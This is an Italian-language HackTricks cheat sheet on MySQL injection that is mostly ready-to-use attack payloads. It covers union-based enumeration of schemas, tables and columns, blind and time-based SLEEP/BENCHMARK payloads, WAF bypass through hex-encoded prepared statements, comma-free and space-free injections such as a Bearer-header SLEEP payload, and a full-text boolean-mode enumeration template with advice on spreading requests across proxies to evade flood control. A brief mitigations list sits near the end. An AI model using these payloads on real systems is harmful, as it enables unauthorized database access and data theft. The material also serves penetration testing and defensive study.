MySQL injection
Reading time: 10 minutes
tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Commenti
-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02
Funzioni Interessanti
Conferma Mysql:
concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)
Funzioni utili
SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
Tutte le injection
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
da https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/
Flow
Ricorda che in "moderne" versioni di MySQL puoi sostituire "information_schema.tables" per "mysql.innodb_table_stats" (Questo potrebbe essere utile per bypass WAFs).
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
Solo 1 valore
group_concat()Limit X,1
Blind one by one
substr(version(),X,1)='r'orsubstring(version(),X,1)=0x70orascii(substr(version(),X,1))=112mid(version(),X,1)='5'
Blind adding
LPAD(version(),1...lenght(version()),'1')='asd'...RPAD(version(),1...lenght(version()),'1')='asd'...SELECT RIGHT(version(),1...lenght(version()))='asd'...SELECT LEFT(version(),1...lenght(version()))='asd'...SELECT INSTR('foobarbar', 'fo...')=1
Rilevare il numero di colonne
Usando un semplice ORDER
order by 1
order by 2
order by 3
...
order by XXX
UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...
MySQL Union Based
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
SSRF
Scopri qui diverse opzioni per abuse a Mysql injection to obtain a SSRF.
WAF bypass tricks
Esecuzione di query tramite Prepared Statements
Quando stacked queries sono consentite, potrebbe essere possibile bypassare i WAF assegnando a una variabile la rappresentazione esadecimale della query che si vuole eseguire (usando SET), e poi usare le istruzioni MySQL PREPARE ed EXECUTE per eseguire infine la query. Qualcosa di simile:
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
Per maggiori informazioni consulta questo post del blog.
Alternative a Information_schema
Ricorda che nelle versioni "moderne" di MySQL puoi sostituire information_schema.tables con mysql.innodb_table_stats o con sys.x$schema_flattened_keys o con sys.schema_table_statistics
MySQLinjection senza virgole
Seleziona 2 colonne senza usare alcuna virgola (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
Recuperare i valori senza il nome della colonna
Se conosci il nome della tabella ma non i nomi delle colonne al suo interno, puoi provare a scoprire quante colonne ci sono eseguendo qualcosa del tipo:
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1); # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
Supponendo che ci siano 2 colonne (la prima è l'ID) e l'altra la flag, puoi provare a bruteforce il contenuto della flag provando carattere per carattere:
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);
More info in https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952
Injection without SPACES (/**/ comment trick)
Alcune applicazioni sanitizzano o analizzano l'input dell'utente con funzioni come sscanf("%128s", buf) che si fermano al primo carattere di spazio.
Poiché MySQL tratta la sequenza /**/ come commento e come spazio bianco, può essere usata per rimuovere completamente gli spazi normali dal payload mantenendo la query sintatticamente valida.
Esempio time-based blind injection bypassing the space filter:
GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'
Che il database riceve come:
' OR SLEEP(5)-- -'
Questo è particolarmente utile quando:
- Il buffer controllabile è limitato nella dimensione (es.
%128s) e gli spazi terminerebbero prematuramente l'input. - Iniettando tramite HTTP headers o altri campi in cui gli spazi normali vengono rimossi o usati come separatori.
- Combinato con primitive
INTO OUTFILEper ottenere un RCE completo pre-auth (vedi la sezione MySQL File RCE).
MySQL history
Puoi vedere altre esecuzioni all'interno di MySQL leggendo la tabella: sys.x$statement_analysis
Versione alternatives
mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();
MySQL Full-Text Search (FTS) BOOLEAN MODE operator abuse (WOR)
Questa non è una classica SQL injection. Quando gli sviluppatori passano input utente in MATCH(col) AGAINST('...' IN BOOLEAN MODE), MySQL esegue un insieme ricco di operatori di ricerca booleana all'interno della stringa tra virgolette. Molte regole WAF/SAST si concentrano solo sulla rottura delle virgolette e non considerano questa superficie.
Key points:
- Gli operatori vengono valutati all'interno delle virgolette:
+(deve includere),-(non deve includere),*(trailing wildcard),"..."(frase esatta),()(raggruppamento),</>/~(pesi). Consulta la documentazione MySQL. - Questo permette test di presenza/assenza e di prefisso senza uscire dalla stringa letterale, e.g.
AGAINST('+admin*' IN BOOLEAN MODE)per verificare qualsiasi termine che inizi conadmin. - Utile per costruire oracoli come “esiste qualche riga che contiene un termine con prefisso X?” e per enumerare stringhe nascoste tramite espansione per prefisso.
Example query built by the backend:
SELECT tid, firstpost
FROM threads
WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE);
Se l'applicazione restituisce risposte diverse a seconda che il result set sia vuoto (es. reindirizzamento vs. messaggio di errore), questo comportamento diventa un Boolean oracle che può essere usato per enumerare dati privati come titoli nascosti/eliminati.
Sanitizer bypass patterns (generic):
- Boundary-trim preserving wildcard: se il backend rimuove 1–2 caratteri finali per parola tramite una regex come
(\b.{1,2})(\s)|(\b.{1,2}$), inviaprefix*ZZ. Il cleaner rimuove iZZma lascia il*, quindiprefix*sopravvive. - Early-break stripping: se il codice rimuove gli operatori parola per parola ma smette di processare quando trova un qualsiasi token con lunghezza ≥ min length, invia due token: il primo è un token di scarto che soddisfa la soglia di lunghezza, il secondo contiene l'operator payload. Per esempio:
&&&&& +jack*ZZ→ dopo la pulizia:+&&&&& +jack*.
Payload template (URL-encoded):
keywords=%26%26%26%26%26+%2B{FUZZ}*xD
%26è&,%2Bè+. Il suffissoxD(o qualsiasi due lettere) viene rimosso dal cleaner, preservando{FUZZ}*.- Considera un redirect come “match” e una pagina di errore come “no match”. Non seguire automaticamente i redirect per mantenere l'oracolo osservabile.
Flusso di enumerazione:
- Inizia con
{FUZZ} = a…z,0…9per trovare corrispondenze della prima lettera tramite+a*,+b*, … - Per ogni prefisso positivo, dirama:
a* → aa* / ab* / …. Ripeti per recuperare l'intera stringa. - Distribuisci le richieste (proxies, multiple accounts) se l'app impone flood control.
Perché i titoli spesso leak mentre i contenuti no:
- Alcune app applicano i controlli di visibilità solo dopo un MATCH preliminare su titles/subjects. Se il control-flow dipende dall'esito “any results?” prima del filtraggio, si verificano existence leaks.
Mitigazioni:
- Se non ti serve la logica Boolean, usa
IN NATURAL LANGUAGE MODEo tratta l'input utente come un literal (escape/quote disabilita gli operatori in altre modalità). - Se la modalità Boolean è richiesta, rimuovi o neutralizza tutti gli operatori Boolean (
+ - * " ( ) < > ~) per ogni token (no early breaks) dopo la tokenizzazione. - Applica filtri di visibilità/autorizzazione prima del MATCH, oppure unifica le risposte (timing/status costanti) quando il result set è empty vs. non-empty.
- Rivedi funzionalità analoghe in altri DBMS: PostgreSQL
to_tsquery/websearch_to_tsquery, SQL Server/Oracle/Db2CONTAINSanalizzano anche operatori all'interno di argomenti tra virgolette.
Note:
- Prepared statements non proteggono dall'abuso semantico di
REGEXPo operatori di ricerca. Un input come.*rimane una regex permissiva anche dentro un quotedREGEXP '.*'. Usa allow-lists o guard espliciti.
Altre MYSQL injection guides
Riferimenti
- PayloadsAllTheThings – MySQL Injection cheatsheet
- Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)
- MySQL Full-Text Search – Boolean mode
- MySQL Full-Text Search – Overview
- MySQL REGEXP documentation
- ReDisclosure: New technique for exploiting Full-Text Search in MySQL (myBB case study)
tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
HackTricks